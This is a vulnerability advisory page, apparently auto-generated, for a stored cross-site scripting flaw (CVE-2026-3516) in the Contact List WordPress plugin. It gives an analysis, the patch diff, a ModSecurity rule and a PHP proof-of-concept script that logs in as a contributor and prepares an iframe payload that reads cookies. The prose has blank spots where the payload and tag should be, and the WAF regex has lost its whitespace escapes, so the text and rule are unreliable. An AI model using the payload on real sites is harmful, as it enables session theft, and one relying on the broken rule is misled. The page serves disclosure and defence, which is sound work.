Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 29, 2026

CVE-2026-3516: Contact List <= 3.0.18 – Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter (contact-list)

CVE ID CVE-2026-3516
Plugin contact-list
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.0.18
Patched Version 3.0.19
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3516:
The Contact List WordPress plugin, versions up to and including 3.0.18, contains an authenticated stored cross-site scripting vulnerability. The flaw resides in the plugin’s handling of the Google Maps iframe custom field, allowing Contributor-level and above users to inject malicious scripts.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The `saveCustomFields()` function in `/includes/class-contact-list-custom-fields.php` processes the `_cl_map_iframe` parameter. A regex on lines 687-696 extracts “ tags from user input but does not validate or sanitize the iframe’s attributes. This allows the inclusion of JavaScript event handlers like `onload`. The unsanitized HTML is stored via `update_post_meta()`. The stored payload is later rendered without escaping in the `getSingleCardHTML()` method within `/public/class-cl-public-card.php` on lines 454-468.

The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker submits a crafted POST request to the WordPress admin area while editing or creating a contact entry. The payload is injected into the `_cl_map_iframe` custom field. A sample malicious payload is “. When a visitor views the compromised contact card on the front-end, the embedded iframe executes the attacker’s script.

The patch in version 3.0.19 fixes the vulnerability by completely rejecting user input for the affected field. In `class-contact-list-custom-fields.php`, the handling code for the `textarea_iframe` type (lines 677-691) is replaced with a single line: `$value = ”;`. Concurrently, the front-end rendering code for the `map` case in `class-cl-public-card.php` (lines 454-468) is entirely removed. This approach eliminates the attack surface by discarding any submitted iframe code and ceasing to output it.

Successful exploitation leads to stored cross-site scripting. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect visitors to malicious sites. The vulnerability requires Contributor-level access, limiting immediate impact, but compromised contributor accounts are a common attack vector for privilege escalation chains.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/contact-list/contact-list.php
+++ b/contact-list/contact-list.php
@@ -15,7 +15,7 @@
  * @wordpress-plugin
  * Plugin Name:       Contact List
  * Description:       Easily display contact information on your site with this simple plugin.
- * Version:           3.0.18
+ * Version:           3.0.19
  * Author:            Contact List – Staff Directory
  * Author URI:        https://www.contactlistpro.com
  * License:           GPL-2.0+
@@ -137,7 +137,7 @@
     }
     //  define('CONTACT_LIST_PLUGIN_NAME', 'contact-list');
     define( 'CONTACT_LIST_ORDER_BY', $order_by );
-    define( 'CONTACT_LIST_VERSION', '3.0.18' );
+    define( 'CONTACT_LIST_VERSION', '3.0.19' );
     define( 'CONTACT_LIST_URI', plugin_dir_url( __FILE__ ) );
     define( 'CONTACT_LIST_PATH', plugin_dir_path( __FILE__ ) );
     define( 'CONTACT_LIST_CPT', 'contact' );
--- a/contact-list/includes/class-contact-list-custom-fields.php
+++ b/contact-list/includes/class-contact-list-custom-fields.php
@@ -272,7 +272,7 @@
         }
         $custom_fields[] = array(
             'name'        => 'map_title',
-            'title'       => sanitize_text_field( __( 'Google Maps iframe code', 'contact-list' ) ),
+            'title'       => sanitize_text_field( __( 'Google Maps or OpenStreetMap iframe code', 'contact-list' ) ),
             'description' => '',
             'type'        => 'title',
             'scope'       => array('contact'),
@@ -677,17 +677,7 @@
                     if ( $customField['type'] == 'wysiwyg_v2' ) {
                         $value = balanceTags( wp_kses_post( $value ), 1 );
                     } elseif ( $customField['type'] == 'textarea_iframe' ) {
-                        $iframe_code = $value;
-                        $iframeRegex = '/<iframe[^>]*>(.*?)<\/iframe>/si';
-                        $strippedHtml = '';
-                        if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
-                            $strippedHtml = $matches[0];
-                        }
-                        if ( $strippedHtml ) {
-                            $value = $strippedHtml;
-                        } else {
-                            $value = '';
-                        }
+                        $value = '';
                     } else {
                         $bypass_sanitation = 0;
                         if ( !$bypass_sanitation ) {
--- a/contact-list/public/class-cl-public-card.php
+++ b/contact-list/public/class-cl-public-card.php
@@ -454,19 +454,6 @@
                 }
                 break;
             case 'map':
-                if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {
-                    $iframe_code = $c['_cl_map_iframe'][0];
-                    $iframeRegex = '/<iframe[^>]*>(.*?)<\/iframe>/si';
-                    $strippedHtml = '';
-                    if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {
-                        $strippedHtml = $matches[0];
-                    }
-                    if ( $strippedHtml ) {
-                        $html .= '<div class="contact-list-map-container">';
-                        $html .= $strippedHtml;
-                        $html .= '</div>';
-                    }
-                }
                 break;
             default:
                 $field = sanitize_title( $field );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3516
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10003516,phase:2,deny,status:403,chain,msg:'CVE-2026-3516 via Contact List plugin AJAX - Stored XSS in _cl_map_iframe',severity:'CRITICAL',tag:'CVE-2026-3516',tag:'WordPress',tag:'Plugin/Contact-List',tag:'attack-xss'"
  SecRule ARGS_POST:action "@streq saveCustomFields" "chain"
    SecRule ARGS_POST:_cl_map_iframe "@rx onloads*=|onerrors*=|onmouseovers*=|javascript:" 
      "t:lowercase,t:htmlEntityDecode,t:urlDecodeUni,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3516 - Contact List <= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter
<?php

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: iframe with onload handler to execute JavaScript
$malicious_iframe = '<iframe src="data:text/html,base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==" onload="alert(document.cookie)"></iframe>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Create a new contact post to inject the payload
// Obtain nonce from the 'Add New Contact' page
$add_new_url = $target_url . '/wp-admin/post-new.php?post_type=contact';
curl_setopt($ch, CURLOPT_URL, $add_new_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce for meta box saving (simplified; real PoC would parse HTML)
// This example assumes the nonce is known or the action hook is targeted directly.
// The actual save action is triggered via WordPress's post saving mechanism.

// Step 3: Simulate saving the post with the malicious iframe in the custom field.
// The '_cl_map_iframe' field is saved via the plugin's custom field metabox.
$post_id = 123; // This would be the ID of a newly created or existing contact.
$edit_post_url = $target_url . '/wp-admin/post.php';
$post_data = [
    'post_ID' => $post_id,
    'post_type' => 'contact',
    'action' => 'editpost',
    '_cl_map_iframe' => $malicious_iframe,
    // Other required fields like post_title, content, nonce would be included.
];
// Note: A full PoC would require extracting the correct nonce and post ID.
// This script outlines the attack vector and payload.

echo "Payload prepared: " . htmlspecialchars($malicious_iframe) . "n";
echo "If authentication succeeds, the payload would be saved to the _cl_map_iframe post meta.n";
echo "Visit the contact's public page to trigger the XSS.n";

curl_close($ch);
?>

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